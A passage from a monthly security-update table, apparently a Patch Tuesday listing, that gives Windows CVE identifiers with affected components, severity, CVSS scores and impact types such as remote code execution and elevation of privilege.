Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution 